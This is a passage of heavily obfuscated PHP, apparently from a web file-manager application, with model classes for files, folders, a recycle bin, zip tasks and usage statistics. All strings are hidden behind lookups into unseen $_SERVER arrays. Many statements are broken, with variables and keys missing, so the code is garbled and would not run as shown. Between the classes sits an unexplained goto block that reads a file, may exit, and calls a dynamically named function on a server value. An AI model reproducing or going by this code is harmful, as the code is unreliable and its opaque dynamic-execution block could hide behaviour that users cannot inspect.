array_to_keyvalue($, $[12], $[468]); $ã = array_remove_value($ã, $[198]); $Ɔǁ = array_to_keyvalue($, $[12], $[402]); $Ɔǁ[] = $푉; } } else { $ã = array($[$[468]]); $Ɔǁ = array($푉); } return array($[2158] => $Ɔǁ, $[1484] => $ã); } public function removeArray($ӡ) { if (!$ӡ) { return !0; } } public function removeRelevance($߱, $̀) { $ =& $_SERVER[]; $߱ = $߱ ? $߱ : array(); $̀ = $̀ ? $̀ : array(); $߱ = array_unique(array_filter($߱)); $̀ = array_unique(array_filter($̀)); if (!$߱) { return !1; } $ԟ = array($[417] => array($[418], $߱)); Model($[2159])->where($ԟ)->delete(); Model($[462])->where($ԟ)->delete(); Model($[2008])->where($ԟ)->delete(); Model($[561])->where($ԟ)->delete(); Model($[1841])->removeBySource($߱); Model($[2141])->removeBySource($߱); $this->where($ԟ)->delete(); Model($[471])->remove($̀); for ($۴ = 0; $۴ < count($߱); $۴++) { $this->sourceCacheClear($߱[$۴]); } } public function rename($ӄ, $é) { $Ӭ =& $_SERVER[]; $ʶ = $this->sourceInfo($ӄ); if (!$ʶ) { return !1; } $羜 = $this->fileNameExist($ʶ[$Ӭ[432]], $é); if ($羜 && $羜 != $ӄ) { return !1; } $𱲢ϓ = array($Ӭ[420] => $é, $Ӭ[579] => USER_ID); if ($ʶ[$Ӭ[410]] != $Ӭ[88]) { $𱲢ϓ[$Ӭ[412]] = substr(get_path_ext($é), 0, 10); } Model($Ӭ[561])->eventRename($ӄ, $ʶ[$Ӭ[32]], $é); $this->sourceCacheClear($ӄ); $this->setNamePinyin($ӄ, $𱲢ϓ[$Ӭ[32]], !1); $this->updateModifyTime($ʶ[$Ӭ[432]]); $ķ = $this->where(array($Ӭ[417] => $ӄ))->data($𱲢ϓ)->save(); $Ķɍ = $Ӭ[2148] . $ʶ[$Ӭ[432]]; if (isset(self::$cacheChildList[$Ķɍ])) { unset(self::$cacheChildList[$Ķɍ]); } return $ķ; } public function setNamePinyin($̨, $Ƹ, $Ȣ = true) { $՜ =& $_SERVER[]; $֡ = Input::check($Ƹ, $՜[583]); $ = array($՜[444] => KodSort::makeStr($Ƹ)); if ($֡) { $[$՜[465]] = str_replace($՜[53], $՜[12], Pinyin::get($Ƹ)); $[$՜[464]] = Pinyin::get($Ƹ, $՜[584]); } if (!$Ȣ && !$֡) { $[$՜[465]] = null; $[$՜[464]] = null; } $this->metaSet($̨, $); } public function getContent($) { $ =& $_SERVER[]; $ύ㬟 = $this->fileInfoGet($); if (!$ύ㬟) { return !1; } if ($ύ㬟[$[76]] == 0) { return $[12]; } $уؕ = $[2162] . $ύ㬟[$[176]]; if ($ύ㬟[$[76]] <= 1024 * 10) { $ = Cache::get($уؕ); if (!$) { $ = IO::getContent($ύ㬟[$[84]]); Cache::set($уؕ, $); } return $; } if (!$ύ㬟[$[84]]) { return $[12]; } return IO::getContent($ύ㬟[$[84]]); } public function setDesc($ǯ, $) { $硔 =& $_SERVER[]; Model($硔[561])->eventAddDesc($ǯ, $); return $this->metaSet($ǯ, $硔[453], $); } public function setContent($, $ = '') { $Λ =& $_SERVER[]; $ = $this->sourceInfo($); $͵ = $this->fileInfoGet($); if (!$͵ || !$) { return !1; } $ޕ٠ = Model($Λ[471])->addFileByContent($, $[$Λ[32]]); $ = $this->fileHistory($, $ޕ٠[$Λ[468]], $ޕ٠[$Λ[76]]); if (!$) { return Model($Λ[471])->remove($ޕ٠[$Λ[468]]); } $this->folderSizeReset($[$Λ[432]]); return !0; } public function fileSubstr($, $, $) { $Ρ = $this->fileInfoGet($); if (!$Ρ) { return !1; } return IO::fileSubstr($Ρ[$_SERVER[][84]], $, $); } public function fileInfoGet($) { $ =& $_SERVER[]; $ۯ = $this->sourceInfo($); if (!$ۯ || $ۯ[$[410]]) { return !1; } $ = $[474] . $ۯ[$[468]]; $ = _get(self::$cacheFileInfo, $); if ($) { return $; } $߉Ņ = Model($[471])->fileInfo($ۯ[$[468]]); if ($߉Ņ) { $߉Ņ[$[32]] = $ۯ[$[32]]; } self::$cacheFileInfo[$] = $߉Ņ; return $߉Ņ; } private function folderChildrenNumber($) { $泽 =& $_SERVER[]; $ա = $this->sourceInfo($); $ = array($泽[580] => array($泽[540], $ա[$泽[511]] . $ . $泽[541]), $泽[577] => $ա[$泽[496]], $泽[430] => intval($ա[$泽[431]]), $泽[574] => 1); $ = $this->where($)->count(); $ = $this->where($)->where(array($泽[574] => 0))->count(); return array($泽[80] => $, $泽[81] => $); } public function pathInfo($М, $ = false) { $ =& $_SERVER[]; $ = !1; $М = intval($М); $ = $[461] . intval($) . $[386] . $М; $ = _get(self::$cachePathInfo, $); if ($) { return $; } $ݝ = $this->sourceInfo($М); if (!$ݝ) { return !1; } $ݝ = $this->_listDataApplyItem($ݝ, $); self::$cachePathInfo[$] = $ݝ; return $ݝ; } public static $cachePathInfoMore = array(); public function pathInfoMore($) { $ =& $_SERVER[]; $ܳ = _get(self::$cachePathInfoMore, $); if ($ܳ) { return $ܳ; } $ = $this->pathInfo($); if (!$) { return !1; } if ($[$[410]] == $[88]) { $[$[79]] = $this->folderChildrenNumber($); } self::$cachePathInfoMore[$] = $; return $; } public function sourceInfo($ޕ) { $ɀ =& $_SERVER[]; if (!$ޕ) { return array(); } $ޕ = intval($ޕ); $ = $ɀ[460] . $ޕ; $и = _get(self::$cacheSourceInfo, $); if ($и) { return $и; } $ӥ = $this->where(array($ɀ[402] => $ޕ))->find(); self::$cacheSourceInfo[$] = $ӥ; return self::$cacheSourceInfo[$]; } public function sourceCacheClear($ۏ = false) { self::cacheClear($ۏ); } public static function cacheClear($ꡯ = false) { $ޅ =& $_SERVER[]; if ($ꡯ == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); self::$cachePathInfo = null; self::$cachePathInfo = array(); self::$cachePathInfoMore = null; self::$cachePathInfoMore = array(); return; } unset(self::$cacheSourceInfo[$ޅ[460] . $ꡯ]); unset(self::$cachePathInfoMore[$ꡯ]); unset(self::$cachePathInfo[$ޅ[2163] . $ꡯ]); unset(self::$cachePathInfo[$ޅ[2164] . $ꡯ]); } public function metaSet($ڜ, $ = null, $ӖՒ = null) { $ = parent::metaSet($ڜ, $, $ӖՒ); if ($) { $this->sourceCacheClear($ڜ); } return $; } public function pathInfoByPath($, $ﶄ) { $ =& $_SERVER[]; $ = !$ﶄ ? array() : explode($[8], trim($ﶄ, $[8])); $抡 = $; foreach ($ as $) { $ت = array($[432] => $抡, $[32] => $); $ = $this->where($ت)->select(); if (!$) { return !1; } $ = array_sort_by($, $[431]); $抡 = $[0][$[402]]; } return $this->pathInfo($抡, !0); } protected function updateModifyTime($ϥ) { $ =& $_SERVER[]; if (!$ϥ) { return; } if (!is_array($ϥ)) { $ϥ = array($ϥ); } foreach ($ϥ as $裩 => $֮) { $ϥ[$裩] = intval($֮); $this->sourceCacheClear($֮); } $ = array($[402] => array($[7], $ϥ)); $ = array($[579] => USER_ID, $[424] => time()); $this->where($)->save($); } public function folderSizeReset($, $Ȕ = false) { $ =& $_SERVER[]; if ($this->statusIgnoreResetSpace) { return; } $֡ = $this->sourceInfo($); $È = $[2165] . $; CacheLock::lock($È, 20); if ($Ȕ === !1) { $this->sourceCacheClear($); $֡ = $this->sourceInfo($); $ȝۼ = array($[401] => $, $[430] => 0); $˴ = $this->where($ȝۼ)->sum($[76]); $Ȕ = intval($˴) - intval($֡[$[76]]); } if ($Ȕ == 0) { return CacheLock::unlock($È); } $ = $this->parentLevelArray($֡[$[511]]); if (!$) { $ = array(); } $[] = $֡[$[402]]; $ȝۼ = array($[402] => array($[418], $)); if ($Ȕ < 0) { $ȝۼ[$[76]] = array($[1017], abs($Ȕ)); } $this->where($ȝۼ)->setAdd($[76], $Ȕ); CacheLock::unlock($È); $ = $[2166] . $֡[$[411]] . $[4] . $֡[$[496]]; $罚 = array($֡[$[411]], $֡[$[496]]); TaskRun::timeLimitCall($, $[2167], $罚, 1.5); } public function folderSizeResetChildren($ǖ) { $Ͻ =& $_SERVER[]; $this->sourceCacheClear($ǖ); $ܴ = $this->sourceInfo($ǖ); $ߩ = array($Ͻ[574] => 1, $Ͻ[577] => $ܴ[$Ͻ[496]], $Ͻ[580] => array($Ͻ[540], $ܴ[$Ͻ[511]] . $ǖ . $Ͻ[541])); $ = $Ͻ[2168]; $ެ = $this->field($)->where($ߩ)->select(); $ߩ[$Ͻ[410]] = 0; $݅ = $this->field($)->where($ߩ)->select(); if (!$݅) { return; } $ެ[] = $ܴ; $ެ = array_to_keyvalue($ެ, $Ͻ[402]); foreach ($ެ as $ => $ȍ) { $ެ[$][$Ͻ[2169]] = $ެ[$][$Ͻ[76]]; $ެ[$][$Ͻ[76]] = 0; } foreach ($݅ as $ȍ) { $Κ = $ȍ[$Ͻ[432]] . $Ͻ[12]; if (!isset($ެ[$Κ])) { continue; } if ($ȍ[$Ͻ[431]] == $ެ[$Κ][$Ͻ[431]]) { $ެ[$Κ][$Ͻ[76]] += $ȍ[$Ͻ[76]]; } } foreach ($ެ as $ȍ) { $ = $this->parentLevelArray($ȍ[$Ͻ[511]]); foreach ($ as $Κ) { $Κ = $Κ . $Ͻ[12]; if (!isset($ެ[$Κ])) { continue; } if ($ȍ[$Ͻ[431]] == $ެ[$Κ][$Ͻ[431]]) { $ެ[$Κ][$Ͻ[76]] += $ȍ[$Ͻ[76]]; } } } $ = array(); foreach ($ެ as $ȍ) { if ($ȍ[$Ͻ[76]] == $ȍ[$Ͻ[2169]]) { continue; } $[] = array($Ͻ[402], $ȍ[$Ͻ[402]], $Ͻ[76], $ȍ[$Ͻ[76]]); } $this->saveAll($); } public function userSpaceReset($㙯 = false) { $ =& $_SERVER[]; $ = $this->where(array($[411] => self::TYPE_USER, $[496] => $㙯, $[410] => 0))->sum($[76]); $ = !$ || $ <= 0 ? 0 : $; Model($[504])->userEdit($㙯, array($[1850] => $)); } public function targetSpaceUpdate($է, $҃) { $ =& $_SERVER[]; if (!$҃) { return; } if (!in_array($է, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $ = $this->targetSpaceSize($է, $҃); if ($է == self::TYPE_USER) { Model($[504])->userEdit($҃, array($[1850] => $)); } else { if ($է == self::TYPE_GROUP) { Model($[512])->groupEdit($҃, array($[1850] => $)); } } } public function targetSpaceSize($ˏւ, $ؼ) { $ճ =& $_SERVER[]; $Ս = 0; $Ş = $this->targetSourceRoot($ˏւ, $ؼ, !0); foreach ($Ş as $᧰) { if (!$᧰) { continue; } $Ս += floatval($᧰[$ճ[76]]); $ = array($ճ[580] => array($ճ[540], $ճ[521] . $᧰[$ճ[402]] . $ճ[541])); $쁷ݢ = Model($ճ[429])->field($ճ[417])->where($)->select(); $쁷ݢ = array_to_keyvalue($쁷ݢ, $ճ[12], $ճ[402]); $쁷ݢ = array_unique(array_filter($쁷ݢ)); if ($쁷ݢ) { $ = array($ճ[417] => array($ճ[418], $쁷ݢ)); $Ս += floatval($this->where($)->sum($ճ[76])); } } $Ս = !$Ս || $Ս <= 0 ? 0 : $Ս; return $Ս; } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($˓) { return $this->fileTypeProfile($˓, SourceModel::TYPE_USER); } public function groupFileTypeProfile($ќ) { return $this->fileTypeProfile($ќ, SourceModel::TYPE_GROUP); } private function fileTypeProfile($Р, $Ƴ) { $諹 =& $_SERVER[]; $✾ = $諹[2170] . $Р . $諹[11] . $Ƴ; $Љ = Cache::get($✾); if ($Љ) { return $Љ; } $ = array($諹[574] => 0); if ($Р != !1) { $[$諹[496]] = $Р; $[$諹[411]] = $Ƴ; } $ = array(); $[$諹[2171]] = array($諹[2172] => LNG($諹[2171]), $諹[2173] => $this->where($)->count(), $諹[545] => $this->where($)->sum($諹[76])); $ = KodIO::fileTypeList(); foreach ($ as $ => $ǰ) { $[$諹[412]] = $this->fileTypeWhere($); $[$] = array($諹[2172] => $ǰ[$諹[32]], $諹[2173] => $this->where($)->count(), $諹[545] => $this->where($)->sum($諹[76])); } Cache::set($✾, $, 1200); return $; } public function fileNameExist($濖, $) { $픭 =& $_SERVER[]; $ = $this->where(array($픭[432] => $濖, $픭[32] => $, $픭[431] => 0))->find(); return is_array($) ? $[$픭[402]] : !1; } public function childList($ɐ惢) { $Ȉ =& $_SERVER[]; $ = $Ȉ[2148] . $ɐ惢; if (isset(self::$cacheChildList[$])) { return self::$cacheChildList[$]; } $К = array($Ȉ[432] => intval($ɐ惢), $Ȉ[431] => 0); $Ȇכ = $this->where($К)->select(); $Ȇכ = $Ȇכ ? $Ȇכ : array(); self::$cacheChildList[$] = $Ȇכ; foreach ($Ȇכ as $) { $ = $Ȉ[460] . $[$Ȉ[402]]; self::$cacheSourceInfo[$] = $; } return $Ȇכ; } public function fileNameAuto($, $, $̧ = REPEAT_RENAME, $֬ = false) { $ =& $_SERVER[]; $ = get_path_ext($); $ = $ ? basename($, $[10] . $) . $[2174] . $ : $ . $[384]; $ֳ۬ = array($[432] => $, $[431] => 0, $[32] => array($[383], $)); $Ş = $this->field($[32])->where($ֳ۬)->select(); $ = array_to_keyvalue($Ş, $[12], $[32]); return $this->fileNameAutoGet($, $, $̧, $֬); } public function fileNameAutoGet($͝ѐ, $ۓܲ, $Ј, $ģ) { $Ҕ =& $_SERVER[]; if ($Ј == REPEAT_REPLACE || !$͝ѐ || !in_array_not_case($ۓܲ, $͝ѐ) || $ģ && $Ј != REPEAT_RENAME_FOLDER) { return $ۓܲ; } if ($Ј == REPEAT_SKIP) { return !1; } $Ҵ = $Ҕ[10] . get_path_ext($ۓܲ); $Ҵ = $Ҵ == $Ҕ[10] || $ģ ? $Ҕ[12] : $Ҵ; for ($̱ = 1; $̱ <= count($͝ѐ) + 1; $̱++) { $ = substr($ۓܲ, 0, strlen($ۓܲ) - strlen($Ҵ)); $ = $ . "\50{$̱}\x29{$Ҵ}"; if (!in_array_not_case($, $͝ѐ)) { return $; } } } } class SourceRecycleModel extends ModelBase { protected $tableName = "\151\x6f\137\x73\x6f\165\162\143\x65\x5f\x72\145\143\x79\143\x6c\x65"; protected $dataAuto = array(array("\x63\162\145\141\164\x65\124\151\155\x65", "\x74\151\x6d\x65", "\x69\x6e\163\145\x72\164", "\x66\x75\x6e\143\164\151\x6f\156")); public function listData($ф = false) { $۩ܳ =& $_SERVER[]; $ф = $ф ? $ф : USER_ID; $κ = $this->where(array($۩ܳ[1661] => $ф))->select(); return array_to_keyvalue($κ, $۩ܳ[12], $۩ܳ[402]); } public function moveToRecycle($⥠) { $ =& $_SERVER[]; $մ˓ = Model($[1341]); $ⓥ = $մ˓->sourceInfo($⥠); if (!$ⓥ || $ⓥ[$[431]] == $[88]) { return; } $ұ = array($[417] => $⥠, $[1661] => USER_ID, $[576] => $ⓥ[$[411]], $[577] => $ⓥ[$[496]], $[580] => $ⓥ[$[511]]); $this->add($ұ); $this->recycleMove($⥠, 1); if ($ⓥ[$[410]] == $[88]) { $橊 = array($[580] => array($[540], $ⓥ[$[511]] . $⥠ . $[541])); $մ˓->where($橊)->setField($[431], 1); } } public function clear() { $this->remove(!1); } public function remove($թ = false, $ = false) { $ =& $_SERVER[]; $ = $ ? $ : USER_ID; $Ķ = Model($[1341]); $̨ = $this->listData($); $թ = $թ === !1 ? !1 : $թ; $ = array(); foreach ($̨ as $) { if ($թ != !1 && !in_array($, $թ)) { continue; } $ = $Ķ->sourceInfo($); $Ķ->remove($, !1); $䠇 = $[$[411]] . $[11] . $[$[496]]; $[$䠇] = array($[576] => $[$[411]], $[496] => $[$[496]]); $this->where(array($[402] => $))->delete(); } foreach ($ as $) { $Ķ->targetSpaceUpdate($[$[411]], $[$[496]]); } } public function restore($ń = false) { $ = $this->listData(); $this->_restoreSource($, $ń); } public function removeUserAll($ԕ) { $this->remove(!1, $ԕ); } private function _restoreSource($τ, $®) { $ =& $_SERVER[]; $צ = Model($[1341]); $® = $® == !1 ? !1 : $®; if (!$τ) { return !0; } $Ϻ = array(); foreach ($τ as $) { if ($® != !1 && !in_array($, $®)) { continue; } $Ѕ = $צ->sourceInfo($); $ = $צ->sourceInfo($Ѕ[$[432]]); if ($[$[431]] == $[88]) { continue; } $צ->lockMoveStart($); $this->recycleMove($, 0); if ($Ѕ[$[410]] == $[88]) { $ = array($[580] => array($[540], $Ѕ[$[511]] . $ . $[541])); $צ->where($)->setField($[431], 0); $this->restoreFolderChildren($, $τ); } $this->where(array($[402] => $))->delete(); $צ->folderSizeReset($Ѕ[$[432]]); $Ϻ[] = $Ѕ[$[432]]; if ($Ѕ[$[410]] == $[88]) { $Ϻ[] = $; } $צ->lockMoveEnd($); } $צ->updateModifyTime($Ϻ); } private function restoreFolderChildren($н, $) { $ٱ =& $_SERVER[]; $Є = Model($ٱ[1341]); $ = array($ٱ[402] => array($ٱ[7], array())); foreach ($ as $) { if ($ == $н) { continue; } if (!$Є->isParentOf($н, $)) { continue; } $ˋ = $Є->sourceInfo($); if ($ˋ[$ٱ[410]] == $ٱ[88]) { $[] = array($ٱ[580] => array($ٱ[540], $ˋ[$ٱ[511]] . $ . $ٱ[541])); } else { $[$ٱ[402]][1][] = $; } } if (!$[$ٱ[402]][1]) { unset($[$ٱ[402]]); } if (!$) { return; } $[$ٱ[402]][1] = array_unique($[$ٱ[402]][1]); $[$ٱ[1002]] = $ٱ[1959]; $Є->where($)->setField($ٱ[431], 1); } private function recycleMove($⨌, $ = 1) { $ =& $_SERVER[]; $П = Model($[1341]); $ղ = Model($[2175]); $ = array($[402] => $⨌); if ($) { $П->where($)->setField($[431], 1); $ղ->eventRecycle($⨌, $[2176]); } else { $ = $П->where($)->find(); $ = $[$[410]] == $[88]; $܅ = $П->fileNameAuto($[$[432]], $[$[32]], REPEAT_RENAME_FOLDER, $); if ($܅ != $[$[32]]) { $П->rename($⨌, $܅); } $П->where($)->setField($[431], 0); $ղ->eventRecycle($⨌, $[2177]); } } } goto f; E: if ($_SERVER[$_SERVER[][875]] != $_SERVER[$_SERVER[][1786]]) { $_getc = $_SERVER[][878]; $_getfile = $_SERVER[$_SERVER[][879]] . $_SERVER[][880]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][231], $_getfilec); if (count($_getarrs) < $_SERVER[][635]) { $exit = $_SERVER[][881]; $exit(); } $_act = $_SERVER[][1787]; $_act($_SERVER[$_SERVER[][876]]); } class TaskZip extends TaskFileTransfer { protected function startAfter() { $ʢ =& $_SERVER[]; parent::startAfter(); Hook::bind($ʢ[1788], array($this, $ʢ[1781])); $ =& $this->task; $[$ʢ[1783]] = $ʢ[1196]; if (!$[$ʢ[1570]]) { $[$ʢ[1570]] = LNG($ʢ[1789]); } } protected function endAfter() { $݀ =& $_SERVER[]; parent::endAfter(); Hook::unbind($݀[1788], array($this, $݀[1781])); } public function updateAfter() { $ג =& $_SERVER[]; $خ =& $this->task; if (!$خ[$ג[785]] || !$خ[$ג[762]]) { return; } if ($خ[$ג[1783]] == $ג[1196]) { $ = $خ[$ג[1724]]; if ($خ[$ג[1725]] != $ג[1196]) { $ = 0; } $ = ($خ[$ג[1728]] + $) / $خ[$ג[762]]; $خ[$ג[1672]] = $ * 0.3; } else { if ($خ[$ג[1783]] == $ג[313]) { $ = $خ[$ג[1671]] / $خ[$ג[785]]; $خ[$ג[1672]] = 0.3 + $ * 0.5; } else { if ($خ[$ג[1783]] == $ג[107]) { $ = 0; if ($خ[$ג[1723]]) { $ = $خ[$ג[1724]] / $خ[$ג[1723]]; } $خ[$ג[1672]] = 0.3 + 0.5 + $ * 0.2; } } } if ($خ[$ג[1672]] > 0) { $ж = timeFloat() - $خ[$ג[1674]] - $خ[$ג[1677]]; $خ[$ג[1678]] = $ж * (1 - $خ[$ג[1672]]) / $خ[$ג[1672]]; } } public function copyFileStart($혆, $˟ℤ, $, $д, $, $팲) { $퐹 =& $_SERVER[]; parent::copyFileStart($혆, $˟ℤ, $, $д, $, $팲); $ =& $this->task; if ($[$퐹[1783]] == $퐹[313]) { $[$퐹[1783]] = $퐹[107]; } $this->update(); } public function copyFileEnd($߀𪑤, $ڢ, $䴣, $բ, $㧍, $˟) { $ =& $_SERVER[]; $ =& $this->task; $[$[1724]] = $[$[1723]]; $[$[1728]] += $[$[1723]]; $[$[1725]] = $[12]; $this->update(); } public function nameParse($˻) { $ʖ =& $_SERVER[]; $ =& $this->task; if ($[$ʖ[1671]] < $[$ʖ[785]]) { $涴 = get_path_this($˻); if (strstr($涴, $ʖ[10])) { $[$ʖ[1671]] += 1; } } if ($[$ʖ[1783]] == $ʖ[1196]) { $[$ʖ[1783]] = $ʖ[313]; } $[$ʖ[1721]] = $˻; $this->update(); } } class AnalysisModel extends ModelBaseLight { public function init($) { $벦 =& $_SERVER[]; $ɳ = array($벦[590] => array($벦[33] => $벦[1790], $벦[273] => array($벦[224], $벦[764], $벦[1791], $벦[1792])), $벦[1793] => array($벦[33] => $벦[1794], $벦[273] => array($벦[224], $벦[762], $벦[1795], $벦[1796], $벦[1797]))); if (!isset($ɳ[$])) { return !1; } $this->optionType = $ɳ[$][$벦[33]]; $this->field = $ɳ[$][$벦[273]]; return !0; } public function listData($ = false, $ = "\x6d\157\144\x69\146\x79\x54\151\155\145", $ԉ = false) { return parent::listData($, $, $ԉ); } public function trendList($) { $ =& $_SERVER[]; $֣ = $this->listData(); if ($֣) { $ = end($֣); $Ε = date($[1798], strtotime($[1799])); if ($[$[224]] == $Ε) { return $֣; } $͠吕 = strtotime($[$[224]]); } if (!isset($͠吕)) { $ݷ = $ == $[590] ? $[525] : $[824]; $͠吕 = Model($ݷ)->min($[201]); } $Ĩ = $[1800] . ucfirst($); $ԃ = $this->dateList($͠吕); foreach ($ԃ as $Ε) { $this->{$Ĩ}($Ε); } return $this->listData(); } private function dateList($ß) { $Ҙ =& $_SERVER[]; $ = $ß; $˔ = strtotime($Ҙ[1799]); $ = array(); while ($ <= $˔) { $[] = date($Ҙ[1798], $); $ = strtotime($Ҙ[1801], $); } return $; } public function _recordUser($ = '') { $ڒ =& $_SERVER[]; $ = strtotime(date($ڒ[1802], strtotime($))); $ݰ = strtotime(date($ڒ[1803], strtotime($))); $Ǭ = array($ڒ[201] => array($ڒ[1015], $ݰ)); $Ȋ = Model($ڒ[525])->where($Ǭ)->count($ڒ[1670]); $Ǭ[$ڒ[201]] = array($ڒ[333], array($, $ݰ)); $ = Model($ڒ[525])->where($Ǭ)->count($ڒ[1670]); $Ǭ[$ڒ[33]] = $ڒ[1804]; $᭘ = Model($ڒ[1805])->where($Ǭ)->count($ڒ[1806]); $ۣ = array($ڒ[224] => $, $ڒ[764] => (int) $Ȋ, $ڒ[1791] => (int) $, $ڒ[1792] => (int) $᭘); return $this->insert($ۣ); } public function _recordStore($͌ = '') { $ =& $_SERVER[]; $ˣ = strtotime(date($[1803], strtotime($͌))); $凫 = array($[201] => array($[1015], $ˣ)); $Ѧߣ = Model($[471])->where($凫)->sum($[76]); $凫[$[410]] = 0; $З = Model($[824])->where($凫)->sum($[76]); $凫[$[411]] = 1; $ = Model($[824])->where($凫)->sum($[76]); $凫[$[411]] = 2; $͛ = Model($[824])->where($凫)->sum($[76]); $ͮ = array($[224] => $͌, $[762] => (int) $З, $[1795] => (int) $Ѧߣ, $[1796] => (int) $, $[1797] => (int) $͛); return $this->insert($ͮ); } public function trend($, $) { $ޡ® =& $_SERVER[]; if (!$this->init($)) { return !1; } $ŕ = $this->trendList($); if ($ŕ && $ != $ޡ®[1643]) { $Զ = $ŕ[0][$ޡ®[224]]; $Ѡ = $this->validDate($, $Զ); $ה = array(); $ꦕ = array_to_keyvalue($ŕ, $ޡ®[224]); foreach ($Ѡ as $֓а) { if (isset($ꦕ[$֓а])) { $ = $ꦕ[$֓а]; } else { $ = end($ŕ); $[$ޡ®[224]] = $֓а; if ($ == $ޡ®[590]) { $[$ޡ®[1791]] = $[$ޡ®[1792]] = 0; } } $ה[] = $; } $ŕ = $ה; } $ٷ = array($ޡ®[590] => array($ޡ®[764] => LNG($ޡ®[1807]), $ޡ®[1791] => LNG($ޡ®[1808]), $ޡ®[1792] => LNG($ޡ®[1809])), $ޡ®[1793] => array($ޡ®[762] => LNG($ޡ®[1810]), $ޡ®[1795] => LNG($ޡ®[1811]), $ޡ®[1796] => LNG($ޡ®[1812]), $ޡ®[1797] => LNG($ޡ®[1813]))); $ = array($ޡ®[590] => $ޡ®[1814], $ޡ®[1793] => $ޡ®[76]); if (empty($ŕ)) { $֓а = date($ޡ®[1798], strtotime($ޡ®[1799])); $ = array($ޡ®[224] => $֓а); foreach ($ٷ[$] as $٦ => $Ҧ) { $[$٦] = 0; } $ŕ[] = $; } $ = array(); foreach ($ŕ as $Ҧ) { if ($ == $ޡ®[1793] && $Ҧ[$ޡ®[1795]] > $Ҧ[$ޡ®[762]]) { $Ҧ[$ޡ®[1795]] = $Ҧ[$ޡ®[762]]; } foreach ($ٷ[$] as $٦ => $) { $ = array($ޡ®[224] => $Ҧ[$ޡ®[224]], $ޡ®[1570] => $); $[$[$]] = isset($Ҧ[$٦]) ? $Ҧ[$٦] : 0; $[] = $; } } return $; } public function validDate($, $ߕ) { $ =& $_SERVER[]; $ۈ = date($[1798], strtotime($[1799])); $ = array($ۈ); switch ($) { case $[1650]: $ = mktime(0, 0, 0, date($[1815]), date($[1389]) - date($[1452]) + 7 - 7, date($[1816])); $¥ = 0; do { $ߧ = date($[1798], $ - 3600 * 24 * 7 * $¥); $[] = $ߧ; $¥++; } while ($ߕ < $ߧ); break; case $[1648]: $¥ = 1; do { $ۂ = date($[1817], strtotime("\55\x20{$¥}\40\155\x6f\x6e\164\x68\x73")); $[] = $ۂ; $¥++; } while ($ߕ < $ۂ); break; case $[1818]: $ͼ镄 = (int) date($[1816], strtotime($ߕ)); $՟ = (int) date($[1816]); if ($ͼ镄 >= $՟) { break; } for ($ͼ镄; $ͼ镄 < $՟; $ͼ镄++) { $[] = $ͼ镄 . $[1819]; } break; default: break; } if ($ߕ > end($)) { array_pop($); } sort($); return $; } public function listTable($؞ڹ) { $ = ucfirst($؞ڹ); return Model($)->listData(); } public function option($ˎ) { $ǰ = $_SERVER[][1820] . ucfirst($ˎ); return $this->{$ǰ}(); } private function optionUser() { $ǥ =& $_SERVER[]; $ɋ = Model($ǥ[525])->count($ǥ[1670]); $ = Model($ǥ[525])->where($ǥ[1821])->count($ǥ[1670]); $䔈 = intval($GLOBALS[$ǥ[6]][$ǥ[349]][$ǥ[1625]]) / 3600; $ = strtotime("\x2d{$䔈}\x20\150\x6f\165\162\x73"); $Ɬ = strtotime(date($ǥ[1802])); if ($ < $Ɬ) { $ = $Ɬ; } $Ŵ = array($ǥ[1822] => array($ǥ[1016], $)); $ɳ = (int) Model($ǥ[525])->where($Ŵ)->count($ǥ[1670]); if (!$ɳ) { $ɳ = 1; } $Ŵ = array($ǥ[1822] => array($ǥ[1016], $Ɬ)); $ñӒ = Model($ǥ[525])->where($Ŵ)->count($ǥ[1670]); return array($ǥ[757] => (int) $ɋ, $ǥ[1823] => (int) ($ɋ - $), $ǥ[1824] => (int) $, $ǥ[1825] => (int) $ñӒ, $ǥ[1826] => $ɳ); } private function optionFile() { $ٶ =& $_SERVER[]; $ƪ = $this->sourceSize(); $ = $ƪ[$ٶ[76]]; $ = $ƪ[$ٶ[1795]]; $ = Model($ٶ[824])->where(array($ٶ[410] => 0))->count($ٶ[402]); $ = array($ٶ[410] => 0, $ٶ[201] => array($ٶ[1016], strtotime(date($ٶ[1802])))); $ڕٳ = Model($ٶ[824])->where($)->sum($ٶ[76]); $ౕ = Model($ٶ[824])->where($)->count($ٶ[402]); return array($ٶ[762] => $, $ٶ[1795] => $, $ٶ[1827] => $ - $, $ٶ[1828] => (int) $ڕٳ, $ٶ[764] => (int) $, $ٶ[1829] => (int) $ౕ); } private function optionAccess() { $Ĝ =& $_SERVER[]; return array($Ĝ[757] => $this->typeLogCnt(), $Ĝ[107] => $this->typeLogCnt($Ĝ[107]), $Ĝ[452] => $this->typeLogCnt($Ĝ[452]), $Ĝ[1830] => $this->typeLogCnt($Ĝ[1830]), $Ĝ[1831] => $this->typeLogCnt($Ĝ[1831]), $Ĝ[590] => $this->typeLogCnt($Ĝ[12], $Ĝ[1806])); } private function typeLogCnt($Ȑ = '', $䦕 = "\x69\x64") { $ =& $_SERVER[]; $̉ = array($[107] => array($[1832], $[1833]), $[452] => array($[1834], $[1835]), $[1830] => array($[1836], $[1837], $[1838]), $[1831] => array($[1839], $[1840]), $[1841] => array($[1842], $[1843], $[1844])); $ = strtotime(date($[1802])); $ = array($[201] => array($[1016], $)); if ($Ȑ) { $[$[33]] = array($[7], $̉[$Ȑ]); } $ = Model($[1805])->where($)->count($䦕); return (int) $; } private function optionServer() { $şݝ =& $_SERVER[]; $ = $this->diskDriver(); $ = KodIO::defaultDriver(); $ = array($şݝ[816] => $[$şݝ[399]]); $ = Model($şݝ[471])->where($)->sum($şݝ[76]); $ = explode($şݝ[53], $_SERVER[$şݝ[143]]); $ = $[0]; $ = $GLOBALS[$şݝ[6]][$şݝ[21]]; $٫ٙ = $[$şݝ[978]]; if ($٫ٙ == $şݝ[966]) { $ = explode($şݝ[1281], $[$şݝ[977]]); $٫ٙ = $[0]; } if ($٫ٙ == $şݝ[914] || $٫ٙ == $şݝ[803]) { $ = Model()->db()->query($şݝ[1845]); $Ⱥ = $[0] && isset($[0][$şݝ[1569]]) ? $[0][$şݝ[1569]] : 0; $٫ٙ = $şݝ[1846] . ($Ⱥ ? $şݝ[8] . $Ⱥ : $şݝ[12]); } $Ň = $GLOBALS[$şݝ[6]][$şݝ[349]][$şݝ[826]]; return array($şݝ[1847] => $ ? $[$şݝ[1848]] : 0, $şݝ[1849] => $ ? $[$şݝ[1850]] : 0, 